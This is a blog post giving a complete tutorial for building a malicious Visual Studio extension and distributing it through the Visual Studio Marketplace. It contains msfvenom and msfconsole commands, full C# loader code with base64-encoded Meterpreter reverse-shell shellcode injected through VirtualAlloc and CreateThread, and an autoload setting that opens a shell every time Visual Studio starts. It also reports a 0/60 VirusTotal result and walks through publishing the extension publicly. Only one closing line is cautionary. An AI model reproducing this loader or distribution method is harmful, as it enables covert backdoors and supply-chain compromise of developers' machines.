• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 781

VSIXPreter: Distributing Malicious Add-In Through Microsoft Marketplace

Meterpreter, one of the best helper tools without doubt. Almost we can’t imagine a security test without it. We need a strong malicious code like “meterpreter” at all out tests, works, researches. Pivoting modules, small size and stability makes meterpreter one of the strongest tools. Meterpreter’s power increases when used with a good distribute technique at windows operating systems. If our malicious code can’t send to target system through exploit and we use it as backdoor, distributing technique as important as developing code.

Using MSFVenom we can create meterpreter for different types and platforms. In this article we focus on two main subjects.

  • Creating malicious add-in for visual studio.
  • Distributing malicious add-in through Visual Studio Marketplace.

GitHub: https://github.com/EPICROUTERSS/VSIXPreter

Creating Malicious Visual Studio Add-in

I needed a malware that integrate with Visual Studio and execute automatically when it starts. So I decided to write a Visual Studio add-in and put malicious code in it.

To do that, click “Create New Project -> Extensibility -> VSIX Project”.

1 Create VSIX Project

If you can’t find it, you must install the SDK. For install SDK, open Visual Studio Installer then enable “Visual Studio extension development”.

2 VS SDK

I created a project named VSIXPreter, after the creating project “index.html” and “stylesheet.css” will be created automatically. We do not need these files so delete them. After that, right click to project and click to Add\New Item -> Extensibility -> Custom Command. I named this file as “PreterCommand.cs”. In this file we will add meterpreter codes.

3 Custom Command

Before start coding we need to create shellcode of meterpreter using MSFVenom. Code must be C# compatible.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.127 LPORT=4444 --platform windows -f csharp

With above command we create a C# compatible shellcode for reverse_tcp connection to 192.168.22.127:4444.

msfconsole -q

use windows/meterpreter/reverse_tcp

set LHOST 192.168.228.127

set LPORT 4444

generate -p windows -t csharp

Additionally, we can create shellcode on MSFConsole. By both methods, we will get a C# compatible shell code. The point we need to look out for on both method parameters can change. For instance, “-p” parameter specifies payload on MSFVenom, but on MSFConsole it specifies platform.

For creating shellcode with MSFVenom and running shellcode on C#, you can look at my other blog posts at below.

http://eyupcelik.com.tr/guvenlik/494-smet-symmetric-meterpreter-encryption-tools

http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit

http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve-msfvenom-ile-backdoor-olusturma

4 virtual alloc marshal.copy create thread

To run shellcode, we need three functions. We declare these three functions as above. VirtualAlloc, allocates memory for our shellcode. CreateThread, creates thread and WaitForSingleObject, checks specified objects validity.

5 RunMeterpreter

I declared a method named RunMeterpreter and this method takes IP and port as parameters. Implementation of method shown at below.

         public static void RunMeterpreter(string ip, string port)

         {

         try

             {

               var ipOctetSplit = ip.Split('.');

               byte octByte1 = Convert.ToByte(ipOctetSplit[0]);

               byte octByte2 = Convert.ToByte(ipOctetSplit[1]);

               byte octByte3 = Convert.ToByte(ipOctetSplit[2]);

               byte octByte4 = Convert.ToByte(ipOctetSplit[3]);

               int inputPort = Int32.Parse(port);

               byte port1Byte = 0x00;

               byte port2Byte = 0x00;

               if (inputPort > 256)

               {

                   int portOct1 = inputPort / 256;

                   int portOct2 = portOct1 * 256;

                   int portOct3 = inputPort - portOct2;

                   int portoct1Calc = portOct1 * 256 + portOct3;

                   if (inputPort == portoct1Calc)

                   {

                       port1Byte = Convert.ToByte(portOct1);

                       port2Byte = Convert.ToByte(portOct3);

                   }

               }

                  else

               {

                   port1Byte = 0x00;

                   port2Byte = Convert.ToByte(inputPort);

               }

               byte[] shellCodePacket = newbyte[9];

               shellCodePacket[0] = octByte1;

                shellCodePacket[1] = octByte2;

               shellCodePacket[2] = octByte3;

               shellCodePacket[3] = octByte4;

               shellCodePacket[4] = 0x68;

               shellCodePacket[5] = 0x02;

               shellCodePacket[6] = 0x00;

               shellCodePacket[7] = port1Byte;

               shellCodePacket[8] = port2Byte;

               string shellCodeRaw = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/"+                                           "rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/"+                                     "6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/"+                                    "gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKiLhmg"+

"CANkDieZQUFBQQFBAUGjqD9/"+                                     "g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB"+                                     "+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//"+

"1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/"+

"VXl7/DCTpcf///wHDKcZ1x8M=";

               string s3 = Convert.ToBase64String(shellCodePacket);

               string newShellCode = shellCodeRaw.Replace("wKiLhmgCANkD", s3);

             byte[] shellCodeBase64 = Convert.FromBase64String(newShellCode);

               UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellCodeBase64.Length, 0x1000, 0x40);

               Marshal.Copy(shellCodeBase64, 0, (IntPtr)(funcAddr), shellCodeBase64.Length);

               IntPtr hThread = IntPtr.Zero;

               UInt32 threadId = 0;

               IntPtr pinfo = IntPtr.Zero;

               hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

               WaitForSingleObject(hThread, 0xFFFFFFFF);

               return;

             }

             catch (Exception e)

             {

               Console.WriteLine(e);

               throw;

             }

       }

I set a variable named shellCodeRaw to Base64 encode of meterpreter shellcode. After I calculate the IP address, port and offset values (newShellCode), put the Base64 encode of newShellCode to real shell code. With this way, every time I change my IP address instead of creating new shellcode I can change the parameters.

         private void Execute(object sender, EventArgs e)

         {

             Task.Factory.StartNew(() => RunMeterpreter("192.168.228.127", "4444"));

       }

So, we write the method that run meterpreter. To run that method, we write the code that shown at above in “PreterCommand.cs” files automatically created “Execute” method. With this code we create thread from Task class and call the RunMeterpreter method. Now our add-in ready, we can compile it and get the add-in.

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.228.127

set LPORT 4444

set ExitOnSession false

exploit -j

To handle incoming connection from meterpreter we start a multi/handler like above. Now we can install the add-in by running vsix (visual studio extension) file. Don’t forget to close Visual Studio if it’s not you can get an error.

6 vsix compile

When our project compile, compiler will create “VSIXPreter.dll” and “VSIXPreter.vsix” files. If you run VSIXPreter.vsix file, VSIX Installer appears and ask you want to install add-in or not, like above. We can click “Install” to install add-in to Visual Studio.

7 vsix intallation

After installing complete we will see a screen like above, then we can get a meterpreter connection by clicking “Tools -> Run PreterCommand” in Visual Studio.

8 Run Meterpreter

As you can see Run PeterCommand added to Tools menu, sends reverse shell to specified address every time it clicked. But there is problem, we can’t sure that user will click it. So that we must trigger automatically when Visual Studio starts. But before, let’s upload “VSIXPreter.vsix” file to VirusTotal and check the results.

9 virustotal

And Bingo! 0/60. None of the anti-malware product can detect our malware. So, let’s examine malware on ProcessHacker.

Link: https://www.virustotal.com/#/file/e4523493d6047b7930e0ce05d71b271b48a26be6215da2d9145fc2991d807aa9

10 process hacker

The VSIXPreter.dll file we created was loaded by devenv.exe and the link was sent to port 4444 of the IP address 192.168.228.127. Now we need to be able to edit our code so that it runs whenever Visual Studio is opened.

    [PackageRegistration(UseManagedResourcesOnly = true, AllowsBackgroundLoading = false)]

    [InstalledProductRegistration("#110", "#112", "1.0", IconResourceID = 400)] // Info on this package for Help/About

    [ProvideMenuResource("Menus.ctmenu", 1)]

    [SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1650:ElementDocumentationMustBeSpelledCorrectly", Justification = "pkgdef, VS and vsixmanifest are valid VS terms")]

    [ProvideAutoLoad(VSConstants.UICONTEXT.NoSolution_string)]

   [Guid("6e3f9edb-4ca2-4a2e-aa75-804abc34bba7")]

When “PreterCommand.cs” file created, “PreterCommandPackage.cs” file will be created. In this file we can assure malware run at startup by declaring parameter at above.

We must specify the case of autoload by ProvideAutoLoad. VSContants.UICONTEXT.NoSolution_string parameter is what we need.

11 AutoLoad

Also, we can specify dozens of auto load cases. For example, any C# Projects opens, when code screen appears, when turn debug mode, when we drag something or when a background project loaded. There is one more step, we need to run the shellcode we defined in your Run Meterpreter method using Task every time Visual Studio is opened.

         public PreterCommandPackage()

         {

             // Inside this method you can place any initialization code that does not require

             // any Visual Studio service because at this point the package object is created but

             // not sited yet inside Visual Studio environment. The place to do all the other

             // initialization is the Initialize method.

             Task.Factory.StartNew(() => PreterCommand.RunMeterpreter("192.168.228.127", "4444"));

       }

We can use PreterCommandPackage method in PreterCommandPackage.cs file for this manner. Task that we declared in this method will create a new thread and thread will call the RunMeterpreter method. In this way we will get a shell and application will not freeze.

Distributing Malware

We have a Visual Studio add-in, but we need to distribute it. I preferred Visual Studio Marketplace for that purpose. We can send the malicious add-in to marketplace and wait to download. If we develop nice and eye-catching add-in, we increase probability of download. I have uploaded the application to marketplace for sample. I was curious about the app will be published or not, but I was not mistaken in my estimates, app published in 5 minutes.

To publishing and add-in on the store, we need an “Visual Studio Marketplace Publishing Portal” account. For this account we can use any Microsoft account.

Firstly, login at https://marketplace.visualstudio.com. At the main page we click “Publish extensions” to reach “Manage Publishers & Extensions” page. After that we need to create a publisher by clicking “Create Publisher” button.

12 publisher

You will a form like above. In the form your information that you give is very important because they must be to coincide with your applications Assemblies information. Otherwise you can’t upload your application.

13 new extension

We click to “New Extension -> Visual Studio” like screenshot above. Then marketplace will open a page and want to upload application.

14 vsix upload

Then we select the application and fill the form to upload to marketplace.

15 download vsixpreter

After uploading done, we will see our application in list. To make application available to everyone, right click to application and select “Make Public”. Application will be approved in 5 minutes, there is no malicious code check.

If any developer installs our add-in, every time Visual Studio starts, we get a Meterpreter shell.

16 vsix final

To download our application, go to “Tools -> Extensions and Updates -> Online” and search for “vsixpreter”.

18 meterpreter ok

As you can see above, meterpreter connection started at process 31488 and send connection to 192.168.228.127 IP address.

Not every application at the marketplace is secure. Always check downloaded applications. Don’t forget there can be more bad scenarios (like stealing our source codes).

References:

    • https://docs.microsoft.com/en-us/vsts/integrate/ide/extensions/hello_world?view=vsts
    • http://dotneteers.net/blogs/divedeeper/archive/2008/03/23/LVNSideBar1.aspx
    • https://msdn.microsoft.com/en-us/library/bb166762.aspx
    • https://docs.microsoft.com/en-us/vsts/extend/publish/overview?view=vsts
    • https://www.mztools.com/articles/2013/MZ2013027.aspxs
    • http://sandrinodimattia.net/some-clarity-on-auto-loading-visual-studio-2010-extensions/

Yorum ekle


Güvenlik kodu Yenile

Back to top